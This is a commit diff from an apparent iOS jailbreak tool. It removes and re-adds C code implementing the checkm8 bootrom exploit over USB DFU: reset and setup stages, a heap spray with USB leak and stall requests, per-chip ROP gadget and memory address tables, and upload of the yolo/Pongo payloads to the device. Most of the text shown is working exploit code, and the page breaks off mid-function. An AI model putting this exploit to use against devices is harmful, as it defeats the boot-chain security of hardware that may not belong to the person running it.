refactor: openra1n & pongo detection

This commit is contained in:
CLARATION committed 2026-06-25 21:40:01 -07:00
1 parent e1a5b1bd2d
commit 5d537c7a16
30 files changed
+1298 -1447

No files matched your search

-294
View File
@@ -1,294 +0,0 @@
#include "payload.h"
#include <stdbool.h>
#include <stdint.h>
#include "../utils/log.h"
extern uint8_t payloads_yolo_s8000_bin[], payloads_yolo_s8001_bin[], payloads_yolo_s8003_bin[], payloads_yolo_t7000_bin[], payloads_yolo_t7001_bin[], payloads_yolo_t8010_bin[], payloads_yolo_t8011_bin[], payloads_yolo_t8015_bin[];
extern unsigned payloads_yolo_s8000_bin_len, payloads_yolo_s8001_bin_len, payloads_yolo_s8003_bin_len, payloads_yolo_t7000_bin_len, payloads_yolo_t7001_bin_len, payloads_yolo_t8010_bin_len, payloads_yolo_t8011_bin_len, payloads_yolo_t8015_bin_len;
extern uint8_t payloads_Pongo_bin[], payloads_shellcode_bin[];
extern unsigned payloads_Pongo_bin_len, payloads_shellcode_bin_len;
#include "../gen/payloads/yolo_s8000.h"
#include "../gen/payloads/yolo_s8001.h"
#include "../gen/payloads/yolo_s8003.h"
#include "../gen/payloads/yolo_t7000.h"
#include "../gen/payloads/yolo_t7001.h"
#include "../gen/payloads/yolo_t8010.h"
#include "../gen/payloads/yolo_t8011.h"
#include "../gen/payloads/yolo_t8015.h"
bool checkm8_find_device_configuration_for_cpid(
int cpid,
struct DeviceConfiguration *config)
{
bool foundMatchingConfiguration = true;
switch (cpid) {
case 0x8015:
case 0x8012:
case 0x8011:
config->cpid = cpid;
config->config_large_leak = 0;
config->config_overwrite_pad = 0x540;
config->config_hole = 6;
break;
case 0x8010:
config->cpid = cpid;
config->config_large_leak = 0;
config->config_overwrite_pad = 0x5C0;
config->config_hole = 5;
break;
case 0x8001:
config->cpid = cpid;
config->config_large_leak = 0;
config->config_overwrite_pad = 0x5C0;
config->config_hole = 6;
break;
case 0x8003:
case 0x8000:
case 0x7001:
case 0x7000:
config->cpid = cpid;
config->config_large_leak = 0;
config->config_overwrite_pad = 0x500;
config->config_hole = 0;
break;
default:
LOG("CPID 0x%x is not supported!", cpid);
if (cpid > 0x8015) {
LOG("arm64e devices (A12 and newer) will never be supported.");
}
foundMatchingConfiguration = false;
break;
}
return foundMatchingConfiguration;
}
bool checkm8_find_payload_configuration_for_cpid(
int cpid,
struct PayloadConfiguration *config)
{
bool foundMatchingConfiguration = true;
switch (cpid) {
case 0x8015:
config->tlbi = 0x1000004AC;
config->nop_gadget = 0x10000A9C4;
config->ret_gadget = 0x100000148;
config->patch_addr = 0x10000624C;
config->ttbr0_addr = 0x18000C000;
config->func_gadget = 0x10000A9AC;
config->write_ttbr0 = 0x10000045C;
config->memcpy_addr = 0x10000E9D0;
config->aes_crypto_cmd = 0x100009E9C;
config->boot_tramp_end = 0x18001C000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180003A78;
config->dfu_handle_request = 0x180008638;
config->usb_core_do_transfer = 0x10000B9A8;
config->dfu_handle_bus_reset = 0x180008668;
config->insecure_memory_base = 0x18001C000;
config->handle_interface_request = 0x10000BCCC;
config->usb_create_string_descriptor = 0x10000AE80;
config->usb_serial_number_string_descriptor = 0x1800008FA;
break;
case 0x8012:
config->tlbi = 0x100000494;
config->nop_gadget = 0x100008DB8;
config->ret_gadget = 0x10000012C;
config->patch_addr = 0x100004854;
config->ttbr0_addr = 0x18000C000;
config->func_gadget = 0x100008DA0;
config->write_ttbr0 = 0x100000444;
config->memcpy_addr = 0x10000EA30;
config->aes_crypto_cmd = 0x1000082AC;
config->boot_tramp_end = 0x18001C000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180003AF8;
config->dfu_handle_request = 0x180008B08;
config->usb_core_do_transfer = 0x10000BD20;
config->dfu_handle_bus_reset = 0x180008B38;
config->insecure_memory_base = 0x18001C000;
config->handle_interface_request = 0x10000BFFC;
config->usb_create_string_descriptor = 0x10000B1CC;
config->usb_serial_number_string_descriptor = 0x18000082A;
break;
case 0x8011:
config->tlbi = 0x100000444;
config->nop_gadget = 0x10000CD0C;
config->ret_gadget = 0x100000148;
config->patch_addr = 0x100007630;
config->ttbr0_addr = 0x1800A0000;
config->func_gadget = 0x10000CCEC;
config->write_ttbr0 = 0x1000003F4;
config->memcpy_addr = 0x100010950;
config->aes_crypto_cmd = 0x10000C994;
config->boot_tramp_end = 0x1800B0000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180083D28;
config->dfu_handle_request = 0x180088A58;
config->usb_core_do_transfer = 0x10000DD64;
config->dfu_handle_bus_reset = 0x180088A88;
config->insecure_memory_base = 0x1800B0000;
config->handle_interface_request = 0x10000E08C;
config->usb_create_string_descriptor = 0x10000D234;
config->usb_serial_number_string_descriptor = 0x18008062A;
break;
case 0x8010:
config->tlbi = 0x100000434;
config->nop_gadget = 0x10000CC6C;
config->ret_gadget = 0x10000015C;
config->patch_addr = 0x1000074AC;
config->ttbr0_addr = 0x1800A0000;
config->func_gadget = 0x10000CC4C;
config->write_ttbr0 = 0x1000003E4;
config->memcpy_addr = 0x100010730;
config->aes_crypto_cmd = 0x10000C8F4;
config->boot_tramp_end = 0x1800B0000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180083CF8;
config->dfu_handle_request = 0x180088B48;
config->usb_core_do_transfer = 0x10000DC98;
config->dfu_handle_bus_reset = 0x180088B78;
config->insecure_memory_base = 0x1800B0000;
config->handle_interface_request = 0x10000DFB8;
config->usb_create_string_descriptor = 0x10000D150;
config->usb_serial_number_string_descriptor = 0x1800805DA;
break;
case 0x8001:
config->tlbi = 0x100000404;
config->nop_gadget = 0x10000CD60;
config->ret_gadget = 0x100000118;
config->patch_addr = 0x100007668;
config->ttbr0_addr = 0x180050000;
config->func_gadget = 0x10000CD40;
config->write_ttbr0 = 0x1000003B4;
config->memcpy_addr = 0x1000106F0;
config->aes_crypto_cmd = 0x10000C9D4;
config->boot_tramp_end = 0x180044000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180047578;
config->dfu_handle_request = 0x18004C378;
config->usb_core_do_transfer = 0x10000DDA4;
config->dfu_handle_bus_reset = 0x18004C3A8;
config->insecure_memory_base = 0x180000000;
config->handle_interface_request = 0x10000E0B4;
config->usb_create_string_descriptor = 0x10000D280;
config->usb_serial_number_string_descriptor = 0x18004486A;
break;
case 0x8003:
case 0x8000:
config->patch_addr = 0x10000812C;
config->ttbr0_addr = 0x1800C8000;
config->memcpy_addr = 0x100011030;
config->aes_crypto_cmd = 0x10000DAA0;
config->boot_tramp_end = 0x1800E1000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180087958;
config->dfu_handle_request = 0x1800878F8;
config->usb_core_do_transfer = 0x10000EE78;
config->dfu_handle_bus_reset = 0x180087928;
config->insecure_memory_base = 0x180380000;
config->handle_interface_request = 0x10000F1B0;
config->usb_create_string_descriptor = 0x10000E354;
config->usb_serial_number_string_descriptor = 0x1800807DA;
break;
case 0x7001:
config->patch_addr = 0x10000AD04;
config->memcpy_addr = 0x100013F10;
config->aes_crypto_cmd = 0x100010A90;
config->boot_tramp_end = 0x1800E1000;
config->gUSBSerialNumber = 0x180088E48;
config->dfu_handle_request = 0x180088DF8;
config->usb_core_do_transfer = 0x100011BB4;
config->dfu_handle_bus_reset = 0x180088E18;
config->insecure_memory_base = 0x180380000;
config->handle_interface_request = 0x100011EE4;
config->usb_create_string_descriptor = 0x100011074;
config->usb_serial_number_string_descriptor = 0x180080C2A;
break;
case 0x7000:
config->patch_addr = 0x100007E98;
config->memcpy_addr = 0x100010E70;
config->aes_crypto_cmd = 0x10000DA90;
config->boot_tramp_end = 0x1800E1000;
config->gUSBSerialNumber = 0x1800888C8;
config->dfu_handle_request = 0x180088878;
config->usb_core_do_transfer = 0x10000EBB4;
config->dfu_handle_bus_reset = 0x180088898;
config->insecure_memory_base = 0x180380000;
config->handle_interface_request = 0x10000EEE4;
config->usb_create_string_descriptor = 0x10000E074;
config->usb_serial_number_string_descriptor = 0x18008062A;
break;
default:
LOG("CPID 0x%x is not supported!", cpid);
foundMatchingConfiguration = false;
}
return foundMatchingConfiguration;
}
void create_pongo_payload_for_device(
uint16_t cpid,
uint8_t **payload,
size_t *payloadSize)
{
LOG("Preparing YoloDFU payload for CPID 0x%x.", cpid);
*payload = NULL;
*payloadSize = 0;
switch (cpid) {
case 0x8015:
*payloadSize = payloads_yolo_t8015_bin_len;
*payload = payloads_yolo_t8015_bin;
break;
case 0x8011:
*payloadSize = payloads_yolo_t8011_bin_len;
*payload = payloads_yolo_t8011_bin;
break;
case 0x8010:
*payloadSize = payloads_yolo_t8010_bin_len;
*payload = payloads_yolo_t8010_bin;
break;
case 0x8003:
*payloadSize = payloads_yolo_s8003_bin_len;
*payload = payloads_yolo_s8003_bin;
break;
case 0x8001:
*payloadSize = payloads_yolo_s8001_bin_len;
*payload = payloads_yolo_s8001_bin;
break;
case 0x8000:
*payloadSize = payloads_yolo_s8000_bin_len;
*payload = payloads_yolo_s8000_bin;
break;
case 0x7001:
*payloadSize = payloads_yolo_t7001_bin_len;
*payload = payloads_yolo_t7001_bin;
break;
case 0x7000:
*payloadSize = payloads_yolo_t7000_bin_len;
*payload = payloads_yolo_t7000_bin;
break;
default:
LOG("Failed to prepare payload for device with CPID 0x%x.", cpid);
break;
}
}
-1019
View File
File diff suppressed because it is too large. Load diff
-90
View File
@@ -1,90 +0,0 @@
#ifndef RUN_H
#define RUN_H
#include <stdbool.h>
#include <stdint.h>
#include <stddef.h>
#ifndef __APPLE__
# include <libusb-1.0/libusb.h>
# include <openssl/evp.h>
# include <stdbool.h>
# include <string.h>
# include <stddef.h>
#else
# include <CommonCrypto/CommonCrypto.h>
# include <CoreFoundation/CoreFoundation.h>
# include <IOKit/IOCFPlugIn.h>
# include <IOKit/usb/IOUSBLib.h>
#endif
#include "dfu.h"
#define APPLE_VID (0x5AC)
#define DFU_MODE_PID (0x1227)
#define MAX_BLOCK_SZ (0x50)
#define EP0_MAX_PACKET_SZ (0x40)
#define USB_MAX_STRING_DESCRIPTOR_IDX (10)
#define USB_TIMEOUT (5)
#ifdef __APPLE__
# if TARGET_OS_IPHONE
# define kUSBPipeStalled kUSBHostReturnPipeStalled
# else
# define kUSBPipeStalled kIOUSBPipeStalled
# endif
#endif
#ifndef MIN
# define MIN(a, b) ((a) < (b) ? (a) : (b))
#endif
#ifdef __cplusplus
extern "C" {
#endif
enum exploit_stage {
STAGE_PREPARE = 0,
STAGE_RESET = 1,
STAGE_SETUP = 2,
STAGE_SPRAY = 3,
STAGE_PATCH = 4,
STAGE_PONGO = 5,
STAGE_JAILBREAK = 6,
STAGE_DONE = 7,
};
enum usb_transfer {
USB_TRANSFER_OK,
USB_TRANSFER_ERROR,
USB_TRANSFER_STALL
};
typedef struct {
enum usb_transfer ret;
uint32_t sz;
} transfer_ret_t;
typedef struct {
uint16_t vid, pid;
#ifndef __APPLE__
struct libusb_device_handle *device;
#else
io_service_t serv;
IOUSBDeviceInterface320 **device;
CFRunLoopSourceRef async_event_source;
#endif
} usb_handle_t;
typedef bool (*usb_check_cb_t)(usb_handle_t *, void *);
bool gaster_checkm8(usb_handle_t *handle);
int checkm8();
bool checkm9();
#ifdef __cplusplus
}
#endif
#endif // RUN_H
+1 -1
View File
@@ -5,7 +5,7 @@
#include "wx/AppFrame.hpp"
#include "state.hpp"
#include "sequence.hpp"
#include "utils/log.h"
#include "utils.h"
#include <wx/wx.h>
#include <thread>
+200
View File
@@ -0,0 +1,200 @@
#include "checkm8.h"
#include <stdint.h>
#include <stddef.h>
#include "payload.h"
#include "dfu.h"
#include "../utils.h"
#include "../usb/usb_shim.h"
static struct {
uint8_t b_len, b_descriptor_type;
uint16_t bcd_usb;
uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz;
uint16_t id_vendor, id_product, bcd_device;
uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations;
} device_descriptor;
static bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state) {
struct {
uint8_t status, poll_timeout[3], state, str_idx;
} dfu_status;
transfer_ret_t transfer_ret;
return send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status), &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(dfu_status)
&& dfu_status.status == status && dfu_status.state == state;
}
static bool dfu_set_state_wait_reset(const usb_handle_t *handle) {
transfer_ret_t transfer_ret;
return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == 0
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC)
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST)
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET);
}
bool checkm8_stage_reset(const usb_handle_t *handle) {
transfer_ret_t transfer_ret;
if(send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN, &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == DFU_FILE_SUFFIX_LEN
&& dfu_set_state_wait_reset(handle) && send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == EP0_MAX_PACKET_SZ)
{
return true;
}
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL);
return false;
}
bool checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) {
unsigned usb_abort_timeout = USB_TIMEOUT - 1;
transfer_ret_t transfer_ret;
for(;;) {
if(send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout, &transfer_ret)
&& transfer_ret.sz < deviceConfig->config_overwrite_pad
&& send_usb_control_request_no_data(handle, 0, 0, 0, 0, deviceConfig->config_overwrite_pad - transfer_ret.sz, &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_STALL)
{
return true;
}
send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, NULL);
usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
}
return false;
}
static bool checkm8_usb_request_leak(const usb_handle_t *handle) {
transfer_ret_t transfer_ret;
return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1, &transfer_ret) && transfer_ret.sz == 0;
}
static void checkm8_stall(const usb_handle_t *handle) {
unsigned usb_abort_timeout = USB_TIMEOUT - 1;
transfer_ret_t transfer_ret;
for(;;) {
if(send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle)) {
break;
}
usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
}
}
static bool checkm8_no_leak(const usb_handle_t *handle) {
transfer_ret_t transfer_ret;
return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1, &transfer_ret)
&& transfer_ret.sz == 0;
}
static bool checkm8_usb_request_stall(const usb_handle_t *handle) {
transfer_ret_t transfer_ret;
return send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_STALL;
}
char *get_usb_serial_number(usb_handle_t *handle) {
transfer_ret_t transfer_ret;
uint8_t buf[UINT8_MAX];
char *str = NULL;
size_t i, sz;
if(send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &device_descriptor, sizeof(device_descriptor), &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(device_descriptor)
&& send_usb_control_request(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, 0x409, buf, sizeof(buf), &transfer_ret)
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == buf[0]
&& (sz = buf[0] / 2) != 0 && (str = malloc(sz)) != NULL)
{
for(i = 0; i < sz; ++i) {
str[i] = (char)buf[2 * (i + 1)];
}
str[sz - 1] = '\0';
}
return str;
}
bool checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) {
size_t i;
if(deviceConfig->config_large_leak == 0) {
if(deviceConfig->cpid == 0x7001 || deviceConfig->cpid == 0x7000 || deviceConfig->cpid == 0x7002 || deviceConfig->cpid == 0x8003 || deviceConfig->cpid == 0x8000) {
while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
} else {
checkm8_stall(handle);
for(i = 0; i < deviceConfig->config_hole; ++i) {
while(!checkm8_no_leak(handle)) {}
}
while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
}
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1, NULL);
} else {
for(i = 0; i < deviceConfig->config_large_leak; ++i) {
while(!checkm8_usb_request_stall(handle)) {}
}
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL);
}
return true;
}
bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) {
size_t i, data_sz, packet_sz;
uint8_t *payload = NULL;
uint8_t *data;
transfer_ret_t transfer_ret;
bool ret = false;
void* blank[DFU_MAX_TRANSFER_SZ];
memset(blank, 0, DFU_MAX_TRANSFER_SZ);
uint64_t* p = (uint64_t*)blank;
p[5] = payloadConfig->insecure_memory_base;
create_pongo_payload_for_device(deviceConfig->cpid, &payload, &data_sz);
if (payload == NULL || data_sz == 0) {
LOG("unsupported cpid 0x%X", (unsigned)deviceConfig->cpid);
return false;
}
LOG("setting up stage 2 for CPID 0x%X", (unsigned)deviceConfig->cpid);
data = calloc(1, data_sz);
if (!data) {
LOG("failed to allocate payload buffer");
return false;
}
memcpy(data, payload, data_sz);
if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) {
LOG("successfully leaked data");
} else {
LOG("failed to leak data");
return false;
}
for(i = 0; i < 2; i++) {
LOG("i = %zu", i);
send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, NULL);
}
if(p != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, p, 0x30, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) {
ret = true;
for(i = 0; ret && i < data_sz; i += packet_sz) {
packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ);
ret = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz, NULL);
}
send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL);
}
free(data);
return ret;
}
+22
View File
@@ -0,0 +1,22 @@
#ifndef CHECKM8_H
#define CHECKM8_H
#include <stdbool.h>
#include "payload.h"
#include "../usb/usb_shim.h"
#define EP0_MAX_PACKET_SZ (0x40)
#define USB_MAX_STRING_DESCRIPTOR_IDX (10)
#ifndef MIN
# define MIN(a, b) ((a) < (b) ? (a) : (b))
#endif
bool checkm8_stage_reset(const usb_handle_t *handle);
bool checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig);
bool checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig);
bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig);
#endif // CHECKM8_H
View File
File renamed without changes.
View File
File renamed without changes.
+286
View File
@@ -0,0 +1,286 @@
#include "payload.h"
#include <stdbool.h>
#include <stdint.h>
#include "../utils.h"
extern uint8_t payloads_yolo_s8000_bin[], payloads_yolo_s8001_bin[], payloads_yolo_s8003_bin[], payloads_yolo_t7000_bin[], payloads_yolo_t7001_bin[], payloads_yolo_t8010_bin[], payloads_yolo_t8011_bin[], payloads_yolo_t8015_bin[];
extern unsigned payloads_yolo_s8000_bin_len, payloads_yolo_s8001_bin_len, payloads_yolo_s8003_bin_len, payloads_yolo_t7000_bin_len, payloads_yolo_t7001_bin_len, payloads_yolo_t8010_bin_len, payloads_yolo_t8011_bin_len, payloads_yolo_t8015_bin_len;
extern uint8_t payloads_Pongo_bin[], payloads_shellcode_bin[];
extern unsigned payloads_Pongo_bin_len, payloads_shellcode_bin_len;
#include "../gen/payloads/yolo_s8000.h"
#include "../gen/payloads/yolo_s8001.h"
#include "../gen/payloads/yolo_s8003.h"
#include "../gen/payloads/yolo_t7000.h"
#include "../gen/payloads/yolo_t7001.h"
#include "../gen/payloads/yolo_t8010.h"
#include "../gen/payloads/yolo_t8011.h"
#include "../gen/payloads/yolo_t8015.h"
bool checkm8_find_device_configuration_for_cpid(
int cpid,
struct DeviceConfiguration *config)
{
bool foundMatchingConfiguration = true;
switch (cpid) {
case 0x8015:
case 0x8012:
case 0x8011:
config->cpid = cpid;
config->config_large_leak = 0;
config->config_overwrite_pad = 0x540;
config->config_hole = 6;
break;
case 0x8010:
config->cpid = cpid;
config->config_large_leak = 0;
config->config_overwrite_pad = 0x5C0;
config->config_hole = 5;
break;
case 0x8001:
config->cpid = cpid;
config->config_large_leak = 0;
config->config_overwrite_pad = 0x5C0;
config->config_hole = 6;
break;
case 0x8003:
case 0x8000:
case 0x7001:
case 0x7000:
config->cpid = cpid;
config->config_large_leak = 0;
config->config_overwrite_pad = 0x500;
config->config_hole = 0;
break;
default:
LOG("CPID 0x%x is not supported!", cpid);
if (cpid > 0x8015) {
LOG("arm64e devices (A12 and newer) will never be supported.");
}
foundMatchingConfiguration = false;
break;
}
return foundMatchingConfiguration;
}
bool checkm8_find_payload_configuration_for_cpid(
int cpid,
struct PayloadConfiguration *config)
{
bool foundMatchingConfiguration = true;
switch (cpid) {
case 0x8015:
config->tlbi = 0x1000004AC;
config->nop_gadget = 0x10000A9C4;
config->ret_gadget = 0x100000148;
config->patch_addr = 0x10000624C;
config->ttbr0_addr = 0x18000C000;
config->func_gadget = 0x10000A9AC;
config->write_ttbr0 = 0x10000045C;
config->memcpy_addr = 0x10000E9D0;
config->aes_crypto_cmd = 0x100009E9C;
config->boot_tramp_end = 0x18001C000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180003A78;
config->dfu_handle_request = 0x180008638;
config->usb_core_do_transfer = 0x10000B9A8;
config->dfu_handle_bus_reset = 0x180008668;
config->insecure_memory_base = 0x18001C000;
config->handle_interface_request = 0x10000BCCC;
config->usb_create_string_descriptor = 0x10000AE80;
config->usb_serial_number_string_descriptor = 0x1800008FA;
break;
case 0x8012:
config->tlbi = 0x100000494;
config->nop_gadget = 0x100008DB8;
config->ret_gadget = 0x10000012C;
config->patch_addr = 0x100004854;
config->ttbr0_addr = 0x18000C000;
config->func_gadget = 0x100008DA0;
config->write_ttbr0 = 0x100000444;
config->memcpy_addr = 0x10000EA30;
config->aes_crypto_cmd = 0x1000082AC;
config->boot_tramp_end = 0x18001C000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180003AF8;
config->dfu_handle_request = 0x180008B08;
config->usb_core_do_transfer = 0x10000BD20;
config->dfu_handle_bus_reset = 0x180008B38;
config->insecure_memory_base = 0x18001C000;
config->handle_interface_request = 0x10000BFFC;
config->usb_create_string_descriptor = 0x10000B1CC;
config->usb_serial_number_string_descriptor = 0x18000082A;
break;
case 0x8011:
config->tlbi = 0x100000444;
config->nop_gadget = 0x10000CD0C;
config->ret_gadget = 0x100000148;
config->patch_addr = 0x100007630;
config->ttbr0_addr = 0x1800A0000;
config->func_gadget = 0x10000CCEC;
config->write_ttbr0 = 0x1000003F4;
config->memcpy_addr = 0x100010950;
config->aes_crypto_cmd = 0x10000C994;
config->boot_tramp_end = 0x1800B0000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180083D28;
config->dfu_handle_request = 0x180088A58;
config->usb_core_do_transfer = 0x10000DD64;
config->dfu_handle_bus_reset = 0x180088A88;
config->insecure_memory_base = 0x1800B0000;
config->handle_interface_request = 0x10000E08C;
config->usb_create_string_descriptor = 0x10000D234;
config->usb_serial_number_string_descriptor = 0x18008062A;
break;
case 0x8010:
config->tlbi = 0x100000434;
config->nop_gadget = 0x10000CC6C;
config->ret_gadget = 0x10000015C;
config->patch_addr = 0x1000074AC;
config->ttbr0_addr = 0x1800A0000;
config->func_gadget = 0x10000CC4C;
config->write_ttbr0 = 0x1000003E4;
config->memcpy_addr = 0x100010730;
config->aes_crypto_cmd = 0x10000C8F4;
config->boot_tramp_end = 0x1800B0000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180083CF8;
config->dfu_handle_request = 0x180088B48;
config->usb_core_do_transfer = 0x10000DC98;
config->dfu_handle_bus_reset = 0x180088B78;
config->insecure_memory_base = 0x1800B0000;
config->handle_interface_request = 0x10000DFB8;
config->usb_create_string_descriptor = 0x10000D150;
config->usb_serial_number_string_descriptor = 0x1800805DA;
break;
case 0x8001:
config->tlbi = 0x100000404;
config->nop_gadget = 0x10000CD60;
config->ret_gadget = 0x100000118;
config->patch_addr = 0x100007668;
config->ttbr0_addr = 0x180050000;
config->func_gadget = 0x10000CD40;
config->write_ttbr0 = 0x1000003B4;
config->memcpy_addr = 0x1000106F0;
config->aes_crypto_cmd = 0x10000C9D4;
config->boot_tramp_end = 0x180044000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180047578;
config->dfu_handle_request = 0x18004C378;
config->usb_core_do_transfer = 0x10000DDA4;
config->dfu_handle_bus_reset = 0x18004C3A8;
config->insecure_memory_base = 0x180000000;
config->handle_interface_request = 0x10000E0B4;
config->usb_create_string_descriptor = 0x10000D280;
config->usb_serial_number_string_descriptor = 0x18004486A;
break;
case 0x8003:
case 0x8000:
config->patch_addr = 0x10000812C;
config->ttbr0_addr = 0x1800C8000;
config->memcpy_addr = 0x100011030;
config->aes_crypto_cmd = 0x10000DAA0;
config->boot_tramp_end = 0x1800E1000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180087958;
config->dfu_handle_request = 0x1800878F8;
config->usb_core_do_transfer = 0x10000EE78;
config->dfu_handle_bus_reset = 0x180087928;
config->insecure_memory_base = 0x180380000;
config->handle_interface_request = 0x10000F1B0;
config->usb_create_string_descriptor = 0x10000E354;
config->usb_serial_number_string_descriptor = 0x1800807DA;
break;
case 0x7001:
config->patch_addr = 0x10000AD04;
config->memcpy_addr = 0x100013F10;
config->aes_crypto_cmd = 0x100010A90;
config->boot_tramp_end = 0x1800E1000;
config->gUSBSerialNumber = 0x180088E48;
config->dfu_handle_request = 0x180088DF8;
config->usb_core_do_transfer = 0x100011BB4;
config->dfu_handle_bus_reset = 0x180088E18;
config->insecure_memory_base = 0x180380000;
config->handle_interface_request = 0x100011EE4;
config->usb_create_string_descriptor = 0x100011074;
config->usb_serial_number_string_descriptor = 0x180080C2A;
break;
case 0x7000:
config->patch_addr = 0x100007E98;
config->memcpy_addr = 0x100010E70;
config->aes_crypto_cmd = 0x10000DA90;
config->boot_tramp_end = 0x1800E1000;
config->gUSBSerialNumber = 0x1800888C8;
config->dfu_handle_request = 0x180088878;
config->usb_core_do_transfer = 0x10000EBB4;
config->dfu_handle_bus_reset = 0x180088898;
config->insecure_memory_base = 0x180380000;
config->handle_interface_request = 0x10000EEE4;
config->usb_create_string_descriptor = 0x10000E074;
config->usb_serial_number_string_descriptor = 0x18008062A;
break;
default:
LOG("CPID 0x%x is not supported!", cpid);
foundMatchingConfiguration = false;
}
return foundMatchingConfiguration;
}
void create_pongo_payload_for_device(
uint16_t cpid,
uint8_t **payload,
size_t *payloadSize)
{
LOG("Preparing YoloDFU payload for CPID 0x%x.", cpid);
*payload = NULL;
*payloadSize = 0;
switch (cpid) {
case 0x8015:
*payloadSize = payloads_yolo_t8015_bin_len;
*payload = payloads_yolo_t8015_bin;
break;
case 0x8011:
*payloadSize = payloads_yolo_t8011_bin_len;
*payload = payloads_yolo_t8011_bin;
break;
case 0x8010:
*payloadSize = payloads_yolo_t8010_bin_len;
*payload = payloads_yolo_t8010_bin;
break;
case 0x8003:
*payloadSize = payloads_yolo_s8003_bin_len;
*payload = payloads_yolo_s8003_bin;
break;
case 0x8001:
*payloadSize = payloads_yolo_s8001_bin_len;
*payload = payloads_yolo_s8001_bin;
break;
case 0x8000:
*payloadSize = payloads_yolo_s8000_bin_len;
*payload = payloads_yolo_s8000_bin;
break;
case 0x7001:
